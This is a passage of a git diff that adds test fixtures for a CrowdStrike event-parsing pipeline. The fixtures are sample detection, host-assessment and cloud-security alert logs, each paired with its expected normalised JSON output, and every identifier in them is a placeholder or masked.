+                "original": "{\"eid\":119,\"SensorId\":\"666666666\",\"Tactic\":\"Machine Learning\",\"CustomerIdString\":\"bbbbbbb\",\"EventType\":\"Event_ExternalApiEvent\",\"ParentProcessId\":1680759529306198500,\"FileName\":\"webhook\",\"UTCTimestamp\":1680659520000,\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ParentImageFileName\":\"/bin/busybox\",\"MachineDomain\":\"\",\"GrandparentImageFileName\":\"/memfd:runc_cloned:/proc/self/exe (deleted)\",\"HostGroups\":\"26666666666666666666666666666666\",\"OriginSourceIpAddress\":\"\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"ProcessEndTime\":1680769672,\"IOCValue\":\"31a0f9b83d1cd121cef133333333333333333333333333333333333333333333\",\"LocalIP\":\"172.17.0.1\",\"DetectDescription\":\"This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.\",\"ParentCommandLine\":\"/bin/sh ./run.sh\",\"Tags\":\"SensorGroupingTags/aws-k8s-production\",\"timestamp\":\"2023-04-06T05:38:50Z\",\"FilePath\":\"/\",\"UserName\":\"cherry\",\"PatternDispositionFlags\":{\"BootupSafeguardEnabled\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"HandleOperationDowngraded\":false,\"Detect\":false,\"RegistryOperationBlocked\":false,\"KillParent\":false,\"Indicator\":false,\"FsOperationBlocked\":false,\"OperationBlocked\":false,\"SuspendParent\":false,\"SuspendProcess\":false,\"KillProcess\":true,\"ProcessBlocked\":false,\"BlockingUnsupportedOrDisabled\":false,\"PolicyDisabled\":true,\"KillActionFailed\":false,\"SensorOnly\":false,\"CriticalProcessDisabled\":false,\"KillSubProcess\":false,\"Rooting\":false,\"InddetMask\":false},\"EventUUID\":\"14688888888888888888888888888888\",\"MD5String\":\"cf288888888888888888888888888888\",\"SeverityName\":\"Medium\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"Severity\":\"3\",\"DetectId\":\"ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111\",\"PatternDispositionValue\":272,\"ExternalApiType\":\"Event_DetectionSummaryEvent\",\"SHA256String\":\"31a0333333333333333333333333333333333333333333333333333333333333\",\"Nonce\":1,\"Objective\":\"Falcon Detection Method\",\"CommandLine\":\"./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000\",\"MACAddress\":\"02-02-02-02-02-02\",\"GrandparentCommandLine\":\"runc init\",\"ProcessStartTime\":1680759529,\"ComputerName\":\"ip-172-18-63-230.ec2.internal\",\"DetectName\":\"NGAV\",\"AgentIdString\":\"45444444444444444444444444444444\",\"IOCType\":\"hash_sha256\",\"ProcessId\":1680759529508885200,\"Technique\":\"Sensor-based ML\",\"AssociatedFile\":\"/webhook\",\"cid\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}",
+                "severity": 47
+            },
+            "host": {
+                "hostname": "ip-172-18-63-230.ec2.internal",
+                "name": "ip-172-18-63-230.ec2.internal"
+            },
+            "process": {
+                "command_line": "./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000",
+                "end": "2023-04-06T08:27:52.000Z",
+                "parent": {
+                    "entity_id": "1680759529306198500"
+                },
+                "start": "2023-04-06T05:38:49.000Z",
+                "uptime": 10
+            },
+            "related": {
+                "hosts": [
+                    "ip-172-18-63-230.ec2.internal"
+                ],
+                "ip": [
+                    "172.17.0.1"
+                ],
+                "user": [
+                    "cherry"
+                ]
+            },
+            "source": {
+                "address": "172.17.0.1",
+                "ip": "172.17.0.1"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "cherry"
+            }
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "EventType": "ZeroTrustHostAssessment",
+                "HostHiddenStatus": "VISIBLE",
+                "assessments": {
+                    "analytics_and_improvements_mac": "yes",
+                    "application_firewall_mac": "yes",
+                    "crendential_dumping_hash_mac": "yes",
+                    "crendential_dumping_kcpassword_mac": "yes",
+                    "crowdstrike_full_disk_access": "yes",
+                    "execution_blocking_custom_blocking_enabled_mac": "yes",
+                    "execution_blocking_intel_threats_enabled_mac": "yes",
+                    "execution_blocking_suspicious_processes_enabled_mac": "yes",
+                    "file_vault_enabled_mac": "yes",
+                    "gatekeeper_mac": "yes",
+                    "internet_sharing_mac": "yes",
+                    "mac_os_version": "yes",
+                    "ml_adware_detection_mac": "yes",
+                    "ml_adware_prevention_mac": "yes",
+                    "ml_cloud_antimalware_detection_mac": "yes",
+                    "ml_cloud_antimalware_prevention_mac": "yes",
+                    "ml_sensor_adware_and_pup_detection_mac": "yes",
+                    "ml_sensor_adware_and_pup_prevention_mac": "yes",
+                    "ml_sensor_antimalware_detection_mac": "yes",
+                    "ml_sensor_antimalware_prevention_mac": "yes",
+                    "quarantine_mac": "yes",
+                    "real_time_response_enabled_mac": "yes",
+                    "remote_login_mac": "yes",
+                    "script_based_execution_monitoring_mac": "yes",
+                    "sip_enabled_mac": "yes",
+                    "stealth_mode_mac": "no",
+                    "system_full_disk_access_mac": "no",
+                    "unauthorized_remote_access_chopper_mac": "yes",
+                    "unauthorized_remote_access_empyre_mac": "yes",
+                    "unauthorized_remote_access_xpcom_mac": "yes"
+                },
+                "cid": "22222222222222222222222222222222",
+                "os_version": "Sonoma (14)",
+                "product_type_desc": "Workstation",
+                "scores": {
+                    "modified_time": "2024-02-13T22:33:34.077Z",
+                    "os": 89,
+                    "overall": 97,
+                    "sensor": 100,
+                    "version": "3.8.1"
+                }
+            },
+            "device": {
+                "id": "11111111111111111111111111111111"
+            },
+            "event": {
+                "id": "|11111111111111111111111111111111|22222222222222222222222222222222",
+                "original": "{\"aid\":\"11111111111111111111111111111111\",\"cid\":\"22222222222222222222222222222222\",\"hostname\":\"example-XXXXXXXXX\",\"os_version\":\"Sonoma (14)\",\"product_name\":\"\",\"product_type_desc\":\"Workstation\",\"host_hidden_status\":\"VISIBLE\",\"event_platform\":\"Mac\",\"scores\":{\"os\":89,\"sensor\":100,\"overall\":97,\"version\":\"3.8.1\",\"modified_time\":\"2024-02-13T22:33:34.077075097Z\"},\"assessments\":{\"analytics_and_improvements_mac\":\"yes\",\"application_firewall_mac\":\"yes\",\"crendential_dumping_hash_mac\":\"yes\",\"crendential_dumping_kcpassword_mac\":\"yes\",\"crowdstrike_full_disk_access\":\"yes\",\"execution_blocking_custom_blocking_enabled_mac\":\"yes\",\"execution_blocking_intel_threats_enabled_mac\":\"yes\",\"execution_blocking_suspicious_processes_enabled_mac\":\"yes\",\"file_vault_enabled_mac\":\"yes\",\"gatekeeper_mac\":\"yes\",\"internet_sharing_mac\":\"yes\",\"mac_os_version\":\"yes\",\"ml_adware_detection_mac\":\"yes\",\"ml_adware_prevention_mac\":\"yes\",\"ml_cloud_antimalware_detection_mac\":\"yes\",\"ml_cloud_antimalware_prevention_mac\":\"yes\",\"ml_sensor_adware_and_pup_detection_mac\":\"yes\",\"ml_sensor_adware_and_pup_prevention_mac\":\"yes\",\"ml_sensor_antimalware_detection_mac\":\"yes\",\"ml_sensor_antimalware_prevention_mac\":\"yes\",\"quarantine_mac\":\"yes\",\"real_time_response_enabled_mac\":\"yes\",\"remote_login_mac\":\"yes\",\"script_based_execution_monitoring_mac\":\"yes\",\"sip_enabled_mac\":\"yes\",\"stealth_mode_mac\":\"no\",\"system_full_disk_access_mac\":\"no\",\"unauthorized_remote_access_chopper_mac\":\"yes\",\"unauthorized_remote_access_empyre_mac\":\"yes\",\"unauthorized_remote_access_xpcom_mac\":\"yes\"},\"event_type\":\"ZeroTrustHostAssessment\"}"
+            },
+            "host": {
+                "hostname": "example-XXXXXXXXX",
+                "id": "11111111111111111111111111111111",
+                "name": "example-XXXXXXXXX",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "observer": {
+                "serial_number": "11111111111111111111111111111111"
+            },
+            "related": {
+                "hosts": [
+                    "example-XXXXXXXXX"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-10-01T09:58:32.519Z",
+            "crowdstrike": {
+                "EventType": "ZeroTrustHostAssessment",
+                "HostHiddenStatus": "VISIBLE",
+                "assessments": {
+                    "analytics_and_improvements_mac": "yes",
+                    "application_firewall_mac": "yes",
+                    "crendential_dumping_hash_mac": "yes",
+                    "crendential_dumping_kcpassword_mac": "yes",
+                    "crowdstrike_full_disk_access": "yes",
+                    "execution_blocking_custom_blocking_enabled_mac": "yes",
+                    "execution_blocking_intel_threats_enabled_mac": "yes",
+                    "execution_blocking_suspicious_processes_enabled_mac": "yes",
+                    "file_vault_enabled_mac": "yes",
+                    "gatekeeper_mac": "yes",
+                    "internet_sharing_mac": "yes",
+                    "mac_os_version": "yes",
+                    "ml_adware_detection_mac": "yes",
+                    "ml_adware_prevention_mac": "yes",
+                    "ml_cloud_antimalware_detection_mac": "yes",
+                    "ml_cloud_antimalware_prevention_mac": "yes",
+                    "ml_sensor_adware_and_pup_detection_mac": "yes",
+                    "ml_sensor_adware_and_pup_prevention_mac": "yes",
+                    "ml_sensor_antimalware_detection_mac": "yes",
+                    "ml_sensor_antimalware_prevention_mac": "yes",
+                    "quarantine_mac": "yes",
+                    "real_time_response_enabled_mac": "yes",
+                    "remote_login_mac": "yes",
+                    "script_based_execution_monitoring_mac": "yes",
+                    "sip_enabled_mac": "yes",
+                    "stealth_mode_mac": "no",
+                    "system_full_disk_access_mac": "no",
+                    "unauthorized_remote_access_chopper_mac": "yes",
+                    "unauthorized_remote_access_empyre_mac": "yes",
+                    "unauthorized_remote_access_xpcom_mac": "yes"
+                },
+                "cid": "22222222222222222222222222222222",
+                "os_version": "Sonoma (14)",
+                "product_type_desc": "Workstation",
+                "scores": {
+                    "modified_time": "2024-02-13T22:33:34.077Z",
+                    "os": 89,
+                    "overall": 97,
+                    "sensor": 100,
+                    "version": "3.8.1"
+                }
+            },
+            "device": {
+                "id": "11111111111111111111111111111111"
+            },
+            "event": {
+                "created": "2020-10-01T09:58:32.519Z",
+                "id": "|11111111111111111111111111111111|22222222222222222222222222222222",
+                "original": "{\"aid\":\"11111111111111111111111111111111\",\"cid\":\"22222222222222222222222222222222\",\"hostname\":\"example-XXXXXXXXX\",\"os_version\":\"Sonoma (14)\",\"product_name\":\"\",\"product_type_desc\":\"Workstation\",\"host_hidden_status\":\"VISIBLE\",\"event_platform\":\"Mac\",\"scores\":{\"os\":\"89\",\"sensor\":\"100\",\"overall\":\"97\",\"version\":\"3.8.1\",\"modified_time\":\"2024-02-13T22:33:34.077075097Z\"},\"assessments\":{\"analytics_and_improvements_mac\":\"yes\",\"application_firewall_mac\":\"yes\",\"crendential_dumping_hash_mac\":\"yes\",\"crendential_dumping_kcpassword_mac\":\"yes\",\"crowdstrike_full_disk_access\":\"yes\",\"execution_blocking_custom_blocking_enabled_mac\":\"yes\",\"execution_blocking_intel_threats_enabled_mac\":\"yes\",\"execution_blocking_suspicious_processes_enabled_mac\":\"yes\",\"file_vault_enabled_mac\":\"yes\",\"gatekeeper_mac\":\"yes\",\"internet_sharing_mac\":\"yes\",\"mac_os_version\":\"yes\",\"ml_adware_detection_mac\":\"yes\",\"ml_adware_prevention_mac\":\"yes\",\"ml_cloud_antimalware_detection_mac\":\"yes\",\"ml_cloud_antimalware_prevention_mac\":\"yes\",\"ml_sensor_adware_and_pup_detection_mac\":\"yes\",\"ml_sensor_adware_and_pup_prevention_mac\":\"yes\",\"ml_sensor_antimalware_detection_mac\":\"yes\",\"ml_sensor_antimalware_prevention_mac\":\"yes\",\"quarantine_mac\":\"yes\",\"real_time_response_enabled_mac\":\"yes\",\"remote_login_mac\":\"yes\",\"script_based_execution_monitoring_mac\":\"yes\",\"sip_enabled_mac\":\"yes\",\"stealth_mode_mac\":\"no\",\"system_full_disk_access_mac\":\"no\",\"unauthorized_remote_access_chopper_mac\":\"yes\",\"unauthorized_remote_access_empyre_mac\":\"yes\",\"unauthorized_remote_access_xpcom_mac\":\"yes\"},\"event_type\":\"ZeroTrustHostAssessment\",\"timestamp\":\"1601546312519\"}"
+            },
+            "host": {
+                "hostname": "example-XXXXXXXXX",
+                "id": "11111111111111111111111111111111",
+                "name": "example-XXXXXXXXX",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "observer": {
+                "serial_number": "11111111111111111111111111111111"
+            },
+            "related": {
+                "hosts": [
+                    "example-XXXXXXXXX"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log
new file mode 100644
index 0000000000..99908ecd78
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log
@@ -0,0 +1 @@
+{"mitre_attack_technique":"Data Destruction","response_elements":"{\"requestId\":\"8db1ca21-4d8b-4c08-b7bc-a63186cd7740\",\"instancesSet\":{\"items\":[{\"currentState\":{\"code\":32,\"name\":\"shutting-down\"},\"previousState\":{\"code\":16,\"name\":\"running\"},\"instanceId\":\"i-0e244c4469aea5be0\"}]}}","cloud_service_friendly":"EC2","aws_account_id":"123456789012","policy_severity":1,"event_type":"AwsApiCall","event_name":"TerminateInstances","mitre_attack_tactic":"Impact","event_source":"ec2.amazonaws.com","account":"123456789012","cloud_region":"us-east-2","event_category":"Management","cloud_provider":"aws","attack_types":["Destruction"],"event_created":"2025-10-02T19:51:16Z","user_identity_principal_id":"AIDASDJDMBHZXZxxxxxx","event-type":"cspm_policy_249","policy_id":249,"request_id":"8db1ca21-4d8b-4c08-b7bc-a63186cd7740","vertex_type":"ioa","cid":"4092825518eaf67377a6e4492ae44577","request_parameters":"{\"instancesSet\":{\"items\":[{\"instanceId\":\"i-0e244c4469aea5be0\"}]},\"force\":false,\"skipOsShutdown\":false}","vertex_id":"249:c7c1f904-44bb-4690-9816-c510246c3b6a:ioa","user_identity_user_name":"buildkite","policy_description":"An IAM user was detected to have manually deleted an EC2 instance. This may indicate malicious activity in that it was not auto-scaling or some other automation that deleted the instance.","user_identity_arn":"arn:aws:iam::123456789012:user/services/buildkite","source_ip_address":"89.160.20.112","user_identity_account_id":"123456789012","user_identity_mfa_authenticated":"false","user_agent":"APN/1.0 HashiCorp/1.0 Terraform/1.12.1 (+https://www.terraform.io) terraform-provider-aws/4.61.0 (+https://registry.terraform.io/providers/hashicorp/aws) aws-sdk-go/1.44.232 (go1.19.7; linux; amd64)","cloudplatform":1,"service":"EC2","event_id":"c7c1f904-44bb-4690-9816-c510246c3b6a","read_only":false,"policy_statement":"EC2 instance manually deleted by IAM user","management_event":true,"user_identity_access_key_id":"AKIASDJDMBHZ3xxxxxxx"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log-expected.json
new file mode 100644
index 0000000000..b07be278ba
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log-expected.json
@@ -0,0 +1,125 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2025-10-02T19:51:16.000Z",
+            "cloud": {
+                "account": {
+                    "id": "123456789012"
+                },
+                "provider": "aws",
+                "region": "us-east-2",
+                "service": {
+                    "name": "EC2"
+                }
+            },
+            "crowdstrike": {
+                "EventType": "AwsApiCall",
+                "SeverityName": "high",
+                "attack_types": [
+                    "Destruction"
+                ],
+                "aws_account_id": "123456789012",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "cloudplatform": "1",
+                "event-type": "cspm_policy_249",
+                "event_category": "Management",
+                "management_event": true,
+                "policy_severity": 1,
+                "read_only": false,
+                "request_id": "8db1ca21-4d8b-4c08-b7bc-a63186cd7740",
+                "request_parameters": "{\"instancesSet\":{\"items\":[{\"instanceId\":\"i-0e244c4469aea5be0\"}]},\"force\":false,\"skipOsShutdown\":false}",
+                "response_elements": "{\"requestId\":\"8db1ca21-4d8b-4c08-b7bc-a63186cd7740\",\"instancesSet\":{\"items\":[{\"currentState\":{\"code\":32,\"name\":\"shutting-down\"},\"previousState\":{\"code\":16,\"name\":\"running\"},\"instanceId\":\"i-0e244c4469aea5be0\"}]}}",
+                "service": "EC2",
+                "user_identity_access_key_id": "AKIASDJDMBHZ3xxxxxxx",
+                "user_identity_account_id": "123456789012",
+                "user_identity_arn": "arn:aws:iam::123456789012:user/services/buildkite",
+                "user_identity_mfa_authenticated": false,
+                "vertex_id": "249:c7c1f904-44bb-4690-9816-c510246c3b6a:ioa",
+                "vertex_type": "ioa"
+            },
+            "event": {
+                "action": "TerminateInstances",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2025-10-02T19:51:16.000Z",
+                "id": "c7c1f904-44bb-4690-9816-c510246c3b6a",
+                "kind": "alert",
+                "original": "{\"mitre_attack_technique\":\"Data Destruction\",\"response_elements\":\"{\\\"requestId\\\":\\\"8db1ca21-4d8b-4c08-b7bc-a63186cd7740\\\",\\\"instancesSet\\\":{\\\"items\\\":[{\\\"currentState\\\":{\\\"code\\\":32,\\\"name\\\":\\\"shutting-down\\\"},\\\"previousState\\\":{\\\"code\\\":16,\\\"name\\\":\\\"running\\\"},\\\"instanceId\\\":\\\"i-0e244c4469aea5be0\\\"}]}}\",\"cloud_service_friendly\":\"EC2\",\"aws_account_id\":\"123456789012\",\"policy_severity\":1,\"event_type\":\"AwsApiCall\",\"event_name\":\"TerminateInstances\",\"mitre_attack_tactic\":\"Impact\",\"event_source\":\"ec2.amazonaws.com\",\"account\":\"123456789012\",\"cloud_region\":\"us-east-2\",\"event_category\":\"Management\",\"cloud_provider\":\"aws\",\"attack_types\":[\"Destruction\"],\"event_created\":\"2025-10-02T19:51:16Z\",\"user_identity_principal_id\":\"AIDASDJDMBHZXZxxxxxx\",\"event-type\":\"cspm_policy_249\",\"policy_id\":249,\"request_id\":\"8db1ca21-4d8b-4c08-b7bc-a63186cd7740\",\"vertex_type\":\"ioa\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"request_parameters\":\"{\\\"instancesSet\\\":{\\\"items\\\":[{\\\"instanceId\\\":\\\"i-0e244c4469aea5be0\\\"}]},\\\"force\\\":false,\\\"skipOsShutdown\\\":false}\",\"vertex_id\":\"249:c7c1f904-44bb-4690-9816-c510246c3b6a:ioa\",\"user_identity_user_name\":\"buildkite\",\"policy_description\":\"An IAM user was detected to have manually deleted an EC2 instance. This may indicate malicious activity in that it was not auto-scaling or some other automation that deleted the instance.\",\"user_identity_arn\":\"arn:aws:iam::123456789012:user/services/buildkite\",\"source_ip_address\":\"89.160.20.112\",\"user_identity_account_id\":\"123456789012\",\"user_identity_mfa_authenticated\":\"false\",\"user_agent\":\"APN/1.0 HashiCorp/1.0 Terraform/1.12.1 (+https://www.terraform.io) terraform-provider-aws/4.61.0 (+https://registry.terraform.io/providers/hashicorp/aws) aws-sdk-go/1.44.232 (go1.19.7; linux; amd64)\",\"cloudplatform\":1,\"service\":\"EC2\",\"event_id\":\"c7c1f904-44bb-4690-9816-c510246c3b6a\",\"read_only\":false,\"policy_statement\":\"EC2 instance manually deleted by IAM user\",\"management_event\":true,\"user_identity_access_key_id\":\"AKIASDJDMBHZ3xxxxxxx\"}",
+                "severity": 73,
+                "type": [
+                    "info",
+                    "change"
+                ]
+            },
+            "message": "EC2 instance manually deleted by IAM user",
+            "related": {
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "user": [
+                    "buildkite",
+                    "AIDASDJDMBHZXZxxxxxx"
+                ]
+            },
+            "rule": {
+                "description": "An IAM user was detected to have manually deleted an EC2 instance. This may indicate malicious activity in that it was not auto-scaling or some other automation that deleted the instance.",
+                "id": "249",
+                "name": "EC2 instance manually deleted by IAM user"
+            },
+            "source": {
+                "address": "89.160.20.112",
+                "as": {
+                    "number": 29518,
+                    "organization": {
+                        "name": "Bredband2 AB"
+                    }
+                },
+                "domain": "ec2.amazonaws.com",
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": "89.160.20.112"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "Impact"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Data Destruction"
+                    ]
+                }
+            },
+            "user": {
+                "id": "AIDASDJDMBHZXZxxxxxx",
+                "name": "buildkite"
+            },
+            "user_agent": {
+                "device": {
+                    "name": "Other"
+                },
+                "name": "aws-sdk-go",
+                "original": "APN/1.0 HashiCorp/1.0 Terraform/1.12.1 (+https://www.terraform.io) terraform-provider-aws/4.61.0 (+https://registry.terraform.io/providers/hashicorp/aws) aws-sdk-go/1.44.232 (go1.19.7; linux; amd64)",
+                "os": {
+                    "name": "Linux"
+                },
+                "version": "1.44.232"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log
new file mode 100644
index 0000000000..585ad940ab
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log
@@ -0,0 +1 @@
+{"event_simpleName":"CloudSecurityIOMEvaluation","cid":"4092825518eaf67377a6e4492ae44577","crn":"aws|123456789012|global|AWS::Account|123456789012","created":"2025-10-13T03:59:08.974734575Z","firstDetected":"2025-10-08T13:03:26.203492662Z","lastDetected":"2025-10-13T03:59:08.974734575Z","revision":7,"ruleId":"abc16f84-2de2-4f2e-9f9c-d510f47b75fb","ruleName":"[Custom Test] EBS volume encryption is not enabled by default in all regions","legacyPolicyId":100056,"severity":"informational","status":"Unresolved","findings":[{"name":"Encryption Enabled","value":"False"},{"name":"Region","value":"[\"ca-central-1\",\"sa-east-1\",\"eu-central-1\",\"eu-west-1\",\"us-east-1\",\"us-east-2\",\"us-west-2\",\"ap-northeast-2\",\"ap-southeast-1\",\"ap-south-1\",\"us-west-1\",\"eu-west-3\",\"ap-northeast-3\",\"ap-southeast-2\",\"ap-northeast-1\",\"eu-west-2\",\"eu-north-1\"]"}],"url":"https://us-east-1.console.aws.amazon.com/ec2/home?region=us-east-1#Volumes:","resource":{"accountId":"123456789012","cloudProvider":"aws","region":"global","captured":"2025-10-13T03:59:08.167485551Z","resourceId":"123456789012","resourceType":"AWS::Account","legacyResourceId":"123456789012","legacyResourceTypeId":116},"compliance":{"frameworks":["Amazon","CIS"],"versions":["11.2024","v1.0.0"],"benchmarkNames":["AWS Well-Architected Framework (Section 2 - Security) 11.2024","AWS Foundational Security Best Practices v1.0.0"],"sections":["SEC 8. How do you protect your data at rest?","EC2"],"requirements":["SEC08-BP03","EC2.7"]},"threat":{"framework":"MITRE ATT\u0026CK","technique":{"id":"T1530","name":"Data from Cloud Storage","reference":"https://attack.mitre.org/techniques/T1530/"},"tactic":{"id":"TA0009","name":"Collection","reference":"https://attack.mitre.org/tactics/TA0009/"}}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log-expected.json
new file mode 100644
index 0000000000..fa91c4f662
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log-expected.json
@@ -0,0 +1,110 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2025-10-13T03:59:08.974Z",
+            "cloud": {
+                "account": {
+                    "id": "123456789012"
+                },
+                "provider": "aws",
+                "region": "global"
+            },
+            "crowdstrike": {
+                "SeverityName": "informational",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "compliance": {
+                    "benchmarkNames": [
+                        "AWS Well-Architected Framework (Section 2 - Security) 11.2024",
+                        "AWS Foundational Security Best Practices v1.0.0"
+                    ],
+                    "frameworks": [
+                        "Amazon",
+                        "CIS"
+                    ],
+                    "requirements": [
+                        "SEC08-BP03",
+                        "EC2.7"
+                    ],
+                    "sections": [
+                        "SEC 8. How do you protect your data at rest?",
+                        "EC2"
+                    ],
+                    "versions": [
+                        "11.2024",
+                        "v1.0.0"
+                    ]
+                },
+                "created": "2025-10-13T03:59:08.974Z",
+                "crn": "aws|123456789012|global|AWS::Account|123456789012",
+                "findings": [
+                    {
+                        "name": "Encryption Enabled",
+                        "value": "False"
+                    },
+                    {
+                        "name": "Region",
+                        "value": "[\"ca-central-1\",\"sa-east-1\",\"eu-central-1\",\"eu-west-1\",\"us-east-1\",\"us-east-2\",\"us-west-2\",\"ap-northeast-2\",\"ap-southeast-1\",\"ap-south-1\",\"us-west-1\",\"eu-west-3\",\"ap-northeast-3\",\"ap-southeast-2\",\"ap-northeast-1\",\"eu-west-2\",\"eu-north-1\"]"
+                    }
+                ],
+                "firstDetected": "2025-10-08T13:03:26.203Z",
+                "lastDetected": "2025-10-13T03:59:08.974Z",
+                "legacyPolicyId": 100056,
+                "resource": {
+                    "captured": "2025-10-13T03:59:08.167Z",
+                    "legacyResourceId": "123456789012",
+                    "legacyResourceTypeId": 116,
+                    "resourceId": "123456789012",
+                    "resourceType": "AWS::Account"
+                },
+                "revision": 7,
+                "status": "Unresolved",
+                "url": "https://us-east-1.console.aws.amazon.com/ec2/home?region=us-east-1#Volumes:"
+            },
+            "event": {
+                "action": "CloudSecurityIOMEvaluation",
+                "category": [
+                    "configuration"
+                ],
+                "id": "||4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"event_simpleName\":\"CloudSecurityIOMEvaluation\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"crn\":\"aws|123456789012|global|AWS::Account|123456789012\",\"created\":\"2025-10-13T03:59:08.974734575Z\",\"firstDetected\":\"2025-10-08T13:03:26.203492662Z\",\"lastDetected\":\"2025-10-13T03:59:08.974734575Z\",\"revision\":7,\"ruleId\":\"abc16f84-2de2-4f2e-9f9c-d510f47b75fb\",\"ruleName\":\"[Custom Test] EBS volume encryption is not enabled by default in all regions\",\"legacyPolicyId\":100056,\"severity\":\"informational\",\"status\":\"Unresolved\",\"findings\":[{\"name\":\"Encryption Enabled\",\"value\":\"False\"},{\"name\":\"Region\",\"value\":\"[\\\"ca-central-1\\\",\\\"sa-east-1\\\",\\\"eu-central-1\\\",\\\"eu-west-1\\\",\\\"us-east-1\\\",\\\"us-east-2\\\",\\\"us-west-2\\\",\\\"ap-northeast-2\\\",\\\"ap-southeast-1\\\",\\\"ap-south-1\\\",\\\"us-west-1\\\",\\\"eu-west-3\\\",\\\"ap-northeast-3\\\",\\\"ap-southeast-2\\\",\\\"ap-northeast-1\\\",\\\"eu-west-2\\\",\\\"eu-north-1\\\"]\"}],\"url\":\"https://us-east-1.console.aws.amazon.com/ec2/home?region=us-east-1#Volumes:\",\"resource\":{\"accountId\":\"123456789012\",\"cloudProvider\":\"aws\",\"region\":\"global\",\"captured\":\"2025-10-13T03:59:08.167485551Z\",\"resourceId\":\"123456789012\",\"resourceType\":\"AWS::Account\",\"legacyResourceId\":\"123456789012\",\"legacyResourceTypeId\":116},\"compliance\":{\"frameworks\":[\"Amazon\",\"CIS\"],\"versions\":[\"11.2024\",\"v1.0.0\"],\"benchmarkNames\":[\"AWS Well-Architected Framework (Section 2 - Security) 11.2024\",\"AWS Foundational Security Best Practices v1.0.0\"],\"sections\":[\"SEC 8. How do you protect your data at rest?\",\"EC2\"],\"requirements\":[\"SEC08-BP03\",\"EC2.7\"]},\"threat\":{\"framework\":\"MITRE ATT\\u0026CK\",\"technique\":{\"id\":\"T1530\",\"name\":\"Data from Cloud Storage\",\"reference\":\"https://attack.mitre.org/techniques/T1530/\"},\"tactic\":{\"id\":\"TA0009\",\"name\":\"Collection\",\"reference\":\"https://attack.mitre.org/tactics/TA0009/\"}}}",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "message": "[Custom Test] EBS volume encryption is not enabled by default in all regions",
+            "rule": {
+                "id": "abc16f84-2de2-4f2e-9f9c-d510f47b75fb",
+                "name": "[Custom Test] EBS volume encryption is not enabled by default in all regions"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "id": [
+                        "TA0009"
+                    ],
+                    "name": [
+                        "Collection"
+                    ],
